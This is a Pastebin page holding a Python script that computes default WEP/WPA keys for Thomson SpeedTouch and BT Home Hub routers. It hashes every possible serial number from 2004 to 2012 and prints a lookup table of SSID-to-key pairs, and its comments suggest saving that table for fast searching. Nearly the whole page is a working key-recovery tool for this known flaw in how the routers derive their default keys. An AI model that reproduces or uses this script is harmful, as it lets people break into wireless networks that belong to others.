Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

ssid2key_printall.py

By: a guest on Jul 5th, 2012  |  syntax: Python  |  size: 1.96 KB  |  views: 716  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/python
  2. #
  3. # Slightly modified version of the script by Kevin Devine (see below).
  4. # This version computes SSID-key pairs and prints them to stdout.
  5. # You can save the results to a text file and search it for faster
  6. # lookup. It's faster than generating them every time, especially since
  7. # the year list has been expanded to 2012, but of course it takes up
  8. # space.
  9. #
  10. # I suggest you save the output to a text file, zip it and use zgrep to
  11. # search when needed.
  12. #
  13. # ====== Original description follows ==========
  14. #
  15. # Python version of stkeys.c by Kevin Devine (see http://weiss.u40.hosting.digiweb.ie/stech/)
  16. # Requires Python 2.5 for hashlib
  17. #
  18. # This script will generate possible WEP/WPA keys for Thomson SpeedTouch / BT Home Hub routers,
  19. # given the last 4 or 6 characters of the default SSID. E.g. For SSID 'SpeedTouchF8A3D0' run:
  20. #
  21. # ./ssid2key.py f8a3d0
  22. #
  23. # By Hubert Seiwert, hubert.seiwert@nccgroup.com 2008-04-17
  24. #
  25. # By default, keys for router serial numbers matching years 2005 to 2007 will be generated.
  26. # If you wish to change this, edit year_list below.
  27.  
  28. import sys
  29. import hashlib
  30.  
  31. offset = 34     # SSID fixed length 6. Could be wrong.
  32. charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  33. year_list = [2004,2005,2006,2007,2008,2009,2010,2011,2012]
  34.  
  35. def ascii2hex(char):
  36.         return hex(ord(char))[2:]
  37.  
  38. for year in [y-2000 for y in year_list]:
  39.         for week in range(1,53): #1..52
  40.                 #print 'Trying year 200%d week %d' % (year,week)
  41.                 for char1 in charset:
  42.                         for char2 in charset:
  43.                                 for char3 in charset:
  44.                                         sn = 'CP%02d%02d%s%s%s' % (year,week,ascii2hex(char1),ascii2hex(char2),ascii2hex(char3))
  45.                                         hash = hashlib.sha1(sn.upper()).hexdigest()
  46.                                         print "SSID: %s  | Key: %s  | Year-Week: %s-%s" % (hash[offset:], hash[0:10].upper(), year+2000, week)